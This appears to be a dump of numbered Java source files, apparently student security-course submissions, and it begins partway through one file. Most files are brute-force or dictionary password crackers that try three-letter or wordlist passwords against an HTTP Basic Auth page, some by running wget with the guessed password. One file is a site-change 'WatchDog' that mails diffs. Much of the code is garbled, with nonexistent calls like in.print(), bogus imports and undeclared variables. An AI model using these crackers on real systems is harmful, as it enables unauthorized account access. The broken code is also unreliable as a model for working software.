        StringBuffer s = new StringBuffer();

        s.append(""** WatchDog proper usage **\n\n"");
        s.append(
            this.getClass().getName() +
            "" <URL> <interval> <Command  execute>\n\n"");

        return s.toString();
    }

    
    public String getCommand()
    {
        return command;
    }

    
    public String getFileName()
    {
        return fileName;
    }

    
    public int getInterval()
    {
        return interval;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setCommand(String string)
    {
        command = string;
    }

    
    public void setFileName(String string)
    {
        fileName = string;
    }

    
    public void setInterval(int i)
    {
        interval = i;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    
    public String getRetrievedContent()
    {
        return retrievedContent;
    }

    
    public String getSavedContent()
    {
        return savedContent;
    }

    
    public void setRetrievedContent(String string)
    {
        retrievedContent = string;
    }

    
    public void setSavedContent(String string)
    {
        savedContent = string;
    }

}
"
195.java,"
import java.io.*;
import java.lang.Object;

public class WatchDog
{

   
   public static void main(String args[])throws Exception
   {
        
        for(;;)
        {
          
          String s[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""};

          String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""SEC Assignment2 part2\""  < diff.html""};
          String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy1""};
          String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy1""};
          String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* copy2""};
          String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* copy2""};

          Process p4;
          Process p5;

          Process c1 = Runtime.getRuntime().exec(""mkdir copy1"");
          c1.waitFor();
          Process c2 = Runtime.getRuntime().exec(""mkdir copy2"");
          c2.waitFor();

          
          Process p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
          p1.waitFor();

          Process a11 = Runtime.getRuntime().exec(s2);
          a11.waitFor();
          Process a12 = Runtime.getRuntime().exec(s3);
          a12.waitFor();

          
          Thread.sleep(86400000);

          Process p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
          p3.waitFor();

          Process a21 = Runtime.getRuntime().exec(s4);
          a21.waitFor();
          Process a22 = Runtime.getRuntime().exec(s5);
          a22.waitFor();

          try
          {
            String str;
            p4 = Runtime.getRuntime().exec(s);
            DataInputStream dis = new DataInputStream(p4.getInputStream());
            p4.waitFor();
            System.out.println(""\t\t\tWATCHDOG PROGRAM"");
            System.out.println(""\t\t\t****************"");

            
            System.out.println(""If any change in the web  then the value   1"");
            System.out.println(""If  is  change then the value   0 "");
            System.out.println(""The value :"" + p4.exitValue());
            try
            {
                while ((str = dis.readLine()) != null)
                {
                    System.out.println(str);
                }
            }
            catch (IOException e)
            {
                System.exit(0);
            }

          }
          catch(FileNotFoundException e)
          {
              e.printStackTrace();
          }

          BufferedReader in = new BufferedReader(new FileReader(""diff.html""));
          
          if (in.readLine() != null)
          {

          try
          {
            String str1;
            p5 = Runtime.getRuntime().exec(s1);
            DataInputStream dis1 = new DataInputStream(p5.getInputStream());
            p5.waitFor();
            System.out.println(""u have received a mail"");
            try
            {
                while ((str1 = dis1.readLine()) != null)
                {
                    System.out.println(str1);
                }
            }
            catch (IOException e1)
            {
                System.exit(0);
            }

          }
          catch(FileNotFoundException ie1)
          {
              ie1.printStackTrace();
          }

        }
    }
  }
}"
124.java,"

import java.text.*;  
import java.util.*;  
import java.net.*;  
import java.io.*;  

public class Dictionary {  

   public int runProcess(String urlString,String passwd) {  

       System.out.println(""Checking password: ... "" + passwd);

       int returnval = 0;
       MyAuthenticator auth = new MyAuthenticator(passwd);
       Authenticator.setDefault(auth);

       try{

            URL yahoo = new URL(urlString); 
            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
            String inputLine;

            while ((inputLine = in.readLine()) != null) {
	       System.out.println(inputLine);
	       System.out.println(""password: "" + passwd);
               returnval = 1;
            }

	    in.print();

          }catch(Exception e){ returnval = 0;}

       return returnval;
   }

   public static void main (String argv[]) {  

      int retval = 0;
      String pwd = """";
      String inFile = ""/usr/share/lib/dict/words"";
      BufferedReader in = null;
      String line1 ="""";

      try {
      
        Dictionary s = new Dictionary();  
        String urlToSearch = ""http://sec-crack.cs.rmit.edu./SEC/2/"";  
        in = new BufferedReader(new FileReader(inFile));   

        while ((line1=in.readLine()) != null) {

          retval = 0;
          pwd = line1;
          retval = s.runProcess(urlToSearch,pwd);  
          if (retval > 0) {
             System.exit(0);
          }
        }
      }catch(Exception e)
          { e.printStackTrace();}
    
    }  
}     
"
140.java,"import java.io.*;
import java.util.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class BruteForce
{
  public BruteForce()
  {
  }

  public static void main(String[] args)
  {
    try
    {
        if (args.length != 2 )
        {
            System.out.println(""Usage: java BruteForce <URL> <UserName>"");
            System.exit(1);
        }

         timeStart = System.currentTimeMillis();

        String strPass = applyBruteForce (args[0], args[1]);

         timeEnd = System.currentTimeMillis();

        System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass);
        System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000));

    }
    catch(Exception e)
    {
      e.printStackTrace();
    }
  }

  static String applyBruteForce (String URL, String UserName)
  {
      


      String strPass = """";

      char ch1, ch2, ch3;

      System.out.print(""\n\n\n Applying BruteForce Attack:     "");

      for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++)
      {
          if ( ch1 > 'Z' && ch1 < 'a' )
              ch1 = 'a';

          for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++)
          {
              if ( ch2 > 'Z' && ch2 < 'a' )
                  ch2 = 'a';

              for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++)
              {
                  if ( ch3 > 'Z' && ch3 < 'a' )
                      ch3 = 'a';

                  strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3);

                  
                  System.out.print(""\b\b\b"" + strPass );
                  

                  boolean boolResult = applyPass ( URL, UserName, strPass );

                  if (boolResult)
                  {
                      return strPass;
                  }

              }
          }
      }

      return ""Could not find match"";
  }

  private static boolean applyPass (String strURL, String strUserName, String strPass )
  {
        BASE64Encoder myEncoder = new BASE64Encoder ();

        try
        {
            String str = strUserName + "":"" + strPass;

            String strEncode = myEncoder.encode(str.getBytes());

            URL url = new URL (strURL);

            URLConnection urlConn = url.openConnection();

            urlConn.setRequestProperty (""Authorization"", "" "" + strEncode);

            urlConn.connect();

            String strReply = urlConn.getHeaderField(0);

            if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") )
            {
                return true;
            }
        }
        catch (Exception e)
        {
            e.printStackTrace ();
        }

        return false;
  }
}
"
008.java,"

import java.io.*;
import java.*;

public class BruteForce 
{
   public static void main(String args[]) 
   {
      String s = null;
      String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";

      
      String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
     
      String password = null;
      int len = 0;
      int num_tries = 0;

      len = alphabets.length();
      
      
      for (int i=0; i<len; i++)
      {
         for (int j=0; j<len; j++)
	 {
            for (int k=0; k<len; k++)
	    {
               try 
               {
                  
                  password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));
               
                  System.out.print(alphabets.charAt(i)); 
                  System.out.print(alphabets.charAt(j)); 
                  System.out.println(alphabets.charAt(k));      

                  
                  Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd="" + password + "" "" + basic_url);
                  
                  BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

                  BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

                  
                  while ((s = stdInput.readLine()) != null)
                  {
                     System.out.println(s);
                  }
                  
                  
                  while ((s = stdError.readLine()) != null)
                  {
                     System.out.println(s);
                  }
                  
                  try
		      {
                     p.waitFor(); 
                  }
                  catch (InterruptedException g)  
                  {
                  }  

                  num_tries++;
                  
                  if((p.exitValue()) == 0)
                  {       
                     System.out.println(""**********PASSWORD IS: "" + password);
	             System.out.println(""**********NUMBER OF TRIES: "" + num_tries);
                     System.exit(1);
                  }
               }
               catch (IOException e)
               {
                  System.out.println(""exception happened - here's what I know: "");
                  e.printStackTrace();
                  System.exit(-1);
               }
            }
         }
      }
   }
}

"
148.java,"
import java.net.*; 
import java.io.*; 
public class BruteForce {
private static String password=""   ""; 

   
  public static void main(String[] args) {
	   String Result=""""; 
	  if (args.length<1)
			 {
			   System.out.println(""Error:  Correct Format Filename, username e.g<>""); 
				System.exit(1);	
			 }
			 BruteForce bruteForce1 = new BruteForce();
			  Result=bruteForce1.Password(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); 
			  System.out.println(""The Password of   ""+args[0]+""is..""+Result);  
			  
		  }



 private String Password(String urlString,String username) 
 { 
 int cnt=0;
 
 t0 = System.currentTimeMillis();  
  for ( char ch = 'A';  ch <= 'z';  ch++ )
  { 
						 if (ch>'Z' && ch<'a')
						 { 
						   ch='a'; 
						 } 
				
				for ( char ch1 = 'A';  ch1 <= 'z';  ch1++ )
				 { 
					  
						if (ch1>'Z' && ch1<'a')
						 { 
						   ch1='a'; 
						 }


					 for ( char ch2 = 'A';  ch2 <= 'z';  ch2++ )
						 { 
							if (ch2>'Z' && ch2<'a')
						 { 
						   ch2='a'; 
						 }
							password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);
								System.out.print(""crackin...:""); 
					           	System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); 
						try
						{
					
				
				
				URL url = new URL (urlString);
				String userPassword=username+"":""+password;  

       
		   String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
			 URLConnection conc= url.openConnection();  
					   conc.setRequestProperty  (""Authorization"", "" "" + encoding);			   
					   conc.connect();  
						cnt++;
					   if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""))
						 {
							 t1 = System.currentTimeMillis();  
							 net=t1-t0;                                    
							System.out.println(""The Number of Attempts ""+cnt); 
							System.out.println(""Total Time Taken in secs""+net/1000); 
							return password;  
						}
					
				}

		      	catch (Exception e )
				{
				  e.printStackTrace();   

				}

			
		     
		  
		  }
		  



         
                         
	    }  
        
  
	} 
        return ""Password could not  found"";  

 }


}"
221.java,"

import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;

public class BruteForce extends Thread
{
   private static final String USERNAME = """";
   private static final char [] POSSIBLE_CHAR =
        {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
         'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
         'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
         'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
   private static int NUMBER_OF_THREAD = 500;

   private static Date startDate = null;
   private static Date endDate = null;

   private String address;
   private String password;

   public BruteForce(String address, String password)
   {
      this.address = address;
      this.password = password;
   }

   public static void main(String[] args) throws IOException
   {
      if (args.length < 1)
      {
         System.err.println(""Invalid usage!"");
         System.err.println(""Usage: java BruteForce <url>"");
         System.exit(1);
      }

      try
      {
         brute(args[0], USERNAME);
      }
      catch(Exception e)
      {
         e.printStackTrace();
         System.exit(1);
      }
   }

   public static void brute(String address, String user)
   {
      BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];
      int index = 0;

      startDate = new Date();
      for(int i = 0; i < POSSIBLE_CHAR.length; i++)
      {
         for(int j = 0; j < POSSIBLE_CHAR.length; j++)
         {
            for(int k = 0; k < POSSIBLE_CHAR.length; k++)
            {
               String password = """"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+
                                 POSSIBLE_CHAR[k];

               if (threads[index] != null && threads[index].isAlive())
               {
                  try
                  {
                     threads[index].join();
                  }
                  catch(InterruptedException e ) {}
               }
               threads[index] = new BruteForce(address, password);
               threads[index].get();

               index = (index++) % threads.length;
            }
         }
      }
   }

   public void run()
   {
      if (endDate != null)
         return;

      try
      {

         URLConnection conn = (new URL(address)).openConnection();
         conn.setDoInput(true);

         if (login(conn, USERNAME, password))
         {
            endDate = new Date();
            System.out.println(""Found the password: \""""+password+""\""!"");
            SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:"");
            System.out.println(""Process started at: ""+format.format(startDate));
            System.out.println(""Process started at: ""+format.format(endDate));
            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
            System.out.println(""Time taken: ""+timeTaken+"" minutes"");
            System.exit(0);
         }
         else
         {
            System.out.println(""Password: \""""+password+""\"" Failed!"");
            return;
         }
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }

   }

   public static boolean login(URLConnection conn, String user, String pass)
   {
      try
      {
         String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass);
         conn.setRequestProperty (""Authorization"", encodeAuth);
         conn.connect();
         conn.getInputStream();
      }
      catch(Exception e)
      {
         return false;
      }
      return true;
   }
}


"
202.java,"
import java.io.*;
import java.util.*;

public class BruteForce
{
   private Cracker crack;
   private Vector clients;
   private int num;
   private int bigStart;

   public BruteForce()
   {
      int i, j;
       int start, finish;
      start=finish = 0;
      
      crack = new Cracker();
      crack.loadLetters();
      crack.loadPairs();
      crack.loadTriples();
      num = crack.getVictor().size();
      clients = new Vector( num);
      j = 0;
      
      bigStart = System.currentTimeMillis();
      for( i = 0; i < num; i++)
      {
          MyClient2 client =  new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i));
          
          clients.add( client);
	  Thread t = new Thread( client);
	  t.print();
          j++;
          if(j == 100)
          {
             t = System.currentTimeMillis();
             System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i));
             finish = t;
             while( (finish - t ) < 1000)
             {
                finish = System.currentTimeMillis();
             }
             j = 0;
          }
    
      }
   }
   
   public void retire(int MyClient2 )
   {
      int bigFinish;
      bigFinish = t.getTime();
      System.out.println("" It took ""+(bigFinish - bigStart)/1000+"" ""+""seconds  crack password using brute force"");
      System.exit(0);
   }
   
   public static void main (String[] args)
   {
      BruteForce  = new BruteForce();
   }
}
      
"
210.java,"

import java.io.*;
import java.util.*;
import java.*;

public class storeNewFile
{
   private PrintWriter outputStream= null;
   private String filename;
   private FileWriter fw;

   public storeNewFile(String fname)
   {
      try
      {
       filename = fname;
       outputStream=new PrintWriter(new FileOutputStream(filename));
      }
      catch(FileNotFoundException e)
      {
	    System.err.println(""File ""+filename+"" was not found"");
      }
      catch(IOException e)
      {
        System.err.println(""Error "");
      }
   }
   public void getStringW(StringWriter sw)
   {
     outputStream.print(sw.toString());
   }

   public void closeStream()
   {
      outputStream.write();
   }

   public void translogFile(String result)
   {
     String fileName = ""TransactionLog.txt"";
   	 try{
	    fw=new FileWriter(fileName,true);
	    fw.write(result);
	    fw.write('\n');
	    fw.print();
   	    System.out.println(""Saved sucessfully"");
     }catch(IOException e){
		System.out.println(""Error saving the file"");
     }
   }
}"
123.java,"

import java.net.*;
import java.io.*;
	

class MyAuthenticator  extends Authenticator {

   String password;

   public MyAuthenticator(String pwdin) {
       password = pwdin;
   }
      
   protected PasswordAuthentication getPasswordAuthentication(){
	String  pwd = password;
	return new PasswordAuthentication("""",pwd.toCharArray());
   }
}
"
022.java,"



import javax.swing.*;

public class BruteForce
{
    public static void main( String args[] )
    {
        PasswordCombination pwdCombination;

        pwdCombination = new PasswordCombination();
    }
}  

"
196.java,"
import java.io.*;

public class Dictionary
{
   
   public static void main(String args[])throws Exception
   {
        String s = null;
        String pass="""";
        int at=0;
        String strLine="""";
        int i=0;

        BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
        
        start =System.currentTimeMillis();
        try
        {
             while((pass=strLine = in.readLine()) != null)
             {
                
                if(pass.length()==3)
                {

                     System.out.println(pass);
                     at++;
                     
                     Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
                     p.waitFor();
                     i = p.exitValue();

                     if(i==0)
                     {
                              finish=System.currentTimeMillis();
                             
                             float time=finish-start;

                             System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + at + "" attempts "" );
                             System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + time + "" milliseconds "" );
                             System.exit(0);
                     }


                     BufferedReader stdInput = new BufferedReader(new
                      InputStreamReader(p.getInputStream()));

                     BufferedReader stdError = new BufferedReader(new
                      InputStreamReader(p.getErrorStream()));

                     

                     System.out.println(""Standard output of the command "");
                     while ((s = stdInput.readLine()) != null)
                     {
                           System.out.println(s);
                     }

                     
                     System.out.println(""Standard error of the command "");
                     while ((s = stdError.readLine()) != null)
                     {
                        System.out.println(s);
                     }
               }
          }
            System.exit(0);
        }
        catch (IOException e)
        {
            System.out.println(""Exception happened "");
            e.printStackTrace();
            System.exit(-1);
        }
    }
}"
238.java,"
import java.util.*;
import java.io.*;
import java.net.*;

class BruteForce
{

 public static void main (String a[])
 {
 
 final char [] alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        'w', 'x', 'y', 'z'};

 String pwd="""";
 
 for(int i=0;i<52;i++)
 {
  for(int j=0;j<52;j++)
  {
   for(int k=0;k<52;k++)
   {
    pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k];
    String userPassword = "":""+pwd;
    RealThread myTh = new RealThread(i,userPassword);
    Thread th = new Thread( myTh );
    th.start();
    try
    {
     
     
     th.sleep(100);
    }
    catch(Exception e)
    {} 
   }
  }
 }


}


}


class RealThread implements Runnable
{
 private int num;
 private URL url;
 private HttpURLConnection uc =null;
 private String userPassword;
 private int responseCode = 100;
 public RealThread (int i, String userPassword)
 {
 try
 {
 url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
 }
 catch(Exception ex1)
 {
 }
 num = i;
 this.userPassword = userPassword;

 }
 
 public int getResponseCode()
 {

 return this.responseCode;
 }

 public void run()
 {
  try
  {
  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

  uc = (HttpURLConnection)url.openConnection();
  uc.setRequestProperty (""Authorization"", "" "" + encoding);
  System.out.println(""Reponse  = ""+uc.getResponseCode()+""for pwd = ""+userPassword);
  this.responseCode = uc.getResponseCode();
  
  if(uc.getResponseCode()==200)
  {
     System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= "");
     System.exit(0);
  }

  }
  catch (Exception e) {
  System.out.println(""Could not execute Thread ""+num+"" "");
  }
 }

}
"
067.java,"import java.*;
import java.io.*;
public class C
{
    public static void main (String [] args){
    try{
        
        int m=0,n=0,w=0;
        String file = ""passwd."";
        char ch1='A',ch2='A',ch3='A';
        for(int i = 0 ; i < 26; i++ )
        {
          for(w=0;w<2;w++)
          {
           if (w==1)
            i+=32;
           for(int j = 0; j< 26 ; j++)
           {
            for(n=0;n<2;n++)
            {
              if(n==1)
                j+=32;
            for(int k = 0; k<26 ; k++)
               {
                 for(m=0; m<2; m++)
                 {
                   if(m==1)
                    k+=32;
                    char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
                    String str = new String(data);
                    System.out.println(str);
                    FileWriter fr1 = new FileWriter(file,true);
                    BufferedWriter in1 = new BufferedWriter(fr1);
                    in1.write(str);
                    in1.newLine();
                    in1.print();
                   if (k>=31)
                       k-=32;
                     }
                }
             if(j>=31)
              j=j-32;
              }
           }
           if(i>=31)
              i-=32;
              }
        }
}
catch(IOException e)
{
  System.out.println(""try"");
}
}
}
"
190.java,"

import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;



public class Dictionary
{
   private URL url;
   private HttpURLConnection connection ;
   private int stopTime = 0;
   private int startTime = 0;
   private int count = 0;

   public Dictionary()
   {
      System.out.println(""Process is running..."");
      startTime = System.currentTimeMillis();
      findWords();
   }

   public static void main(String args[])
   {
      Dictionary sc = new Dictionary();
   }
   
   
   public void findWords()
   {
      try
      {
         BufferedReader input = new BufferedReader(new FileReader (""words""));
         String text;
         while ((text = input.readLine()) != null)
         {
            if ((text.length() == 3) || (text.length() == 2))
            {
                count++;
                decision(text);
            }

          }

      }
      catch (IOException io)
      {
         System.out.println(""File Error: "" + io.getMessage());
      }
   }
   
   
   public void decision(String s1)
   {
      if (find(s1) == 200)
      {
         stopTime = System.currentTimeMillis();
          runTime = stopTime - startTime;
         System.out.println(""***************************************"");
         System.out.println(""\nAttack successfully"");
         System.out.println(""\nPassword is: "" + s1);
         System.out.println(""\nThe contents of the Web site: "");
         displayContent(s1);
         System.out.println(""\nTime taken  crack: "" + runTime + "" millisecond"");
         System.out.println(""\nNumber of attempts: "" + count);
         System.out.println();

         System.exit(0);
      }
   }
   
   
   public int find(String s1)
   {
      int responseCode = 0;
      try
      {
         url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1));

         responseCode = connection.getResponseCode();

      }catch (Exception e)
      {
          System.out.println(e.getMessage());
      }
      return responseCode;
   }
   
   public void displayContent(String pw)
   {
      BufferedReader bw = null ;
      try
      {
         url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw));
         InputStream stream = (InputStream)(connection.getContent());
         if (stream != null)
         {
             InputStreamReader reader = new InputStreamReader (stream);
             bw = new BufferedReader (reader);
             String line;

             while ((line = bw.readLine()) != null)
             {
                System.out.println(line);
             }
        }
      }
      catch (IOException e)
      {
         System.out.println(e.getMessage());
      }
   }
}




"
014.java,"



import java.util.*;
import java.net.*;
import java.io.*;
import misc.BASE64Encoder;
import javax.swing.*;

public class ConnectionThread extends Thread
{
    private String         url;
    private URL            currURL;
    private URLConnection  conn;
    private HoldSharedData sharedData;
    private int            noOfThread;
    private int            batch;

    public ConnectionThread( String pageURL, int wThread,
                             int newBatch, HoldSharedData data )
    {
        super();
        url = pageURL;
        noOfThread = wThread ;
        batch = newBatch;
        sharedData = data;
    }

    
    public void run()
    {
        try
        {
            currURL = new URL( url );

            for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
                                    (i < sharedData.getPwdCount()); i ++ )
            {
                String pwd = sharedData.getPasswordAt( i );

                conn = currURL.openConnection();

                if (conn instanceof HttpURLConnection)
                {
	            HttpURLConnection hconn = (HttpURLConnection) conn;
                    hconn.setFollowRedirects(false);
                    String cad = "" "" + based64Encoder( "":"" + pwd );
                    hconn.setRequestProperty( ""Authorization"", cad );

                    hconn.connect();
	            int response = hconn.getResponseCode();
                    sharedData.setNumOfConnections();

                    if( response == 200 )
                    {
                         totalTime = System.currentTimeMillis() -
                                           sharedData.getStartTime();
                        int numOfConnections = sharedData.getNumOfConnections();

                        System.out.println( ""Password is "" + pwd );
                        System.out.println( ""Total Time(seconds)="" +
                                           (double)totalTime/1000 );
                        System.out.println( ""Number Of Connections: "" +
                                                    numOfConnections );
                        System.exit(0);
                    }
                    else
                    {
                        hconn.disconnect();
                    }
                }
            }
        }
        catch( MalformedURLException mue )
        {
            String msg = ""Unable  parse URL: "" + url;
            System.err.println( msg );
        }
        catch( IOException ioe )
        {
            System.err.println( ""I/O Error : "" + ioe );
        }
    }

    private String based64Encoder( String pwd )
    {
        
        String str = pwd;
        byte[] buf = str.getBytes();
        String encodedStr = new misc.BASE64Encoder().encode(buf);


        return encodedStr;
    }
}  "
064.java,"

import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;

public class Dictionary {
    
    
    
    public static String Base64Encode(String s) {
        byte[] bb = s.getBytes();
        byte[] b  = bb;
        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
        '0','1','2','3','4','5','6','7','8','9','+','/' };
        if (bb.length % 3!=0) {
            int x1 = bb.length;
            
            b = new byte[(x1/3+1)*3];
            int x2 = b.length;
            
            for(int i=0;i<x1;i++)
                b[i] = bb[i];
            for(int i=x1;i<x2;i++)
                b[i] = 0;
        }
        
        char[] c = new char[b.length/3*4];
        
        int i=0, j=0;
        while (i+3<=b.length) {
            c[j]     = table[(b[i]   >>  2)];
            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];
            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];
            c[j+3]   = table[(b[i+2] &  63)];
            i+=3;
            j+=4;
        }
        
        j = c.length-1;
        while (c[j]=='A') {
            c[j]='=';
            j--;
        }
        
        return String.valueOf(c);
    }
    
    
    public synchronized void getAccumulatedLocalAttempt() {
        attempt = 0;
        for (int i=0;i<MAXTHREAD;i++) {
            attempt += threads[i].getLocalAttempt();
        }
    }
    
    
    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern(""0.00"");
        
        System.out.println();
        System.out.println("" ------------------------ [ CURRENT STATISTICS ] ---------------------------"");
        System.out.println();
        System.out.println(""  Current connections   : ""+curconn);
        System.out.println(""  Current progress      : ""+attempt+ "" of ""+ALLCOMBI+"" (""+currprogress+""%)"");
        System.out.println(""  Overall Attempts rate : ""+ovrl+"" attempts  second (approx.)"");
        System.out.println();
        System.out.println("" ---------------------------------------------------------------------------"");
        System.out.println();
    }
    
    
    public class MyTT extends TimerTask {
        
        public synchronized void run() {
            
            
            if (count==REPORT_INTERVAL) {
                
                DecimalFormat fmt = new DecimalFormat();
                fmt.applyPattern(""0.00"");
                
                
                getAccumulatedLocalAttempt();
                double p = (double)attempt/(double)ALLCOMBI*100;
                
                
                double aps = (double) (attempt - attm) / REPORT_INTERVAL;
                
                
                attmArr[attmArrIdx++] = aps;
                
                
                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
                count = 0;
            } else
                
                if (count==0) {
                    getAccumulatedLocalAttempt();
                    attm = attempt;
                    count++;
                } else {
                    count++;
                }
        }
        
        
        
        public synchronized double getOverallAttemptPerSec() {
            double val = 0;
            
            if (attmArrIdx==0) {
                return attmArrIdx;
            } else {
                for (int i=0;i<attmArrIdx;i++) {
                     val+= attmArr[i];
                }
                return  val / attmArrIdx;
            }
        }
        
        private int      count = 0;
        private    int  attm;
        private int      attmArrIdx = 0;
        private double[] attmArr = new double[2*60*60/10]; 
    }
    
    
    public synchronized void interruptAll(int ID) {
        for (int i=0;i<MAXTHREAD;i++) {
            if ((threads[i].isAlive()) && (i!=ID)) {
                threads[i].interrupt();
            }
            notifyAll();
        }
    }
    
    
    
    public synchronized void setSuccess(int ID, String p) {
        passw   = p;
        success = ID;
        notifyAll();
        interruptAll(ID);
        
        
        end = System.currentTimeMillis();
    }
    
    
    public synchronized boolean isSuccess() {
        return (success>=0);
    }
    
    
    
    public synchronized void waitUntilAllTerminated() {
        while (curconn>0) {
            try {
                wait();
            } catch (InterruptedException e) {}
        }
    }
    
    
    
    
    public synchronized int waitUntilOK2Connect() {
        boolean interruptd= false;
        int idx = -1;
        
        
        
        
        while (curconn>=MAXCONN) {
            try {
                wait();
            } catch (InterruptedException e) { interruptd = true; }
        }
        
        
        
        if (!interruptd) {
            
            curconn++;
            for (idx=0;idx<MAXCONN;idx++)
                if (!connused[idx]) {
                    connused[idx] = true;
                    break;
                }
            
            notifyAll();
        }
        
        
        return idx;
    }
    
    
    public synchronized void decreaseConn(int idx) {
        curconn--;
        connused[idx] = false;
        
        
        notifyAll();
    }
    
    
    
    
    public String[] fetchWords( int idx,int n) {
        String[] result = new String[n];
        try {
            
            BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
            
            for (int i=0;i<idx;i++) { b.readLine(); }
            
            for (int i=0;i<n;i++) {
                result[i] = b.readLine();
            }
            
            b.print();
        } catch (FileNotFoundException e) {
            System.out.println(e);
            System.exit(0);
        } catch (IOException e) {}
        return result;
    }
    
    
    public String fetchWord( int idx) {
        String result = null;
        try {
            
            BufferedReader b = new BufferedReader(new FileReader(TEMPDICT));
            
            for (int i=0;i<idx;i++) { b.readLine(); }
            
            result = b.readLine();
            
            b.print();
        } catch (FileNotFoundException e) {
            System.out.println(e);
            System.exit(0);
        } catch (IOException e) {}
        return result;
    }
    
    
    public static void readThroughDictionary() {
        try {
            
            BufferedReader b = new BufferedReader(new FileReader(DICTIONARY));
            PrintWriter w    = new PrintWriter(new BufferedWriter(new FileWriter(TEMPDICT)));
            String s;
            
            ALLCOMBI = 0;
            while ((s=b.readLine())!=null) {
                if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) {
                    w.println(s);
                    ALLCOMBI++;
                }
            }
            b.print();
            w.print();
        } catch (FileNotFoundException e) {
            System.out.println(""Unable  open the DICTIONARY file '""+DICTIONARY+""'"");
            System.exit(0);
        } catch (IOException e) {
            System.out.println(""Error in  the DICTIONARY file '""+DICTIONARY+""'"");
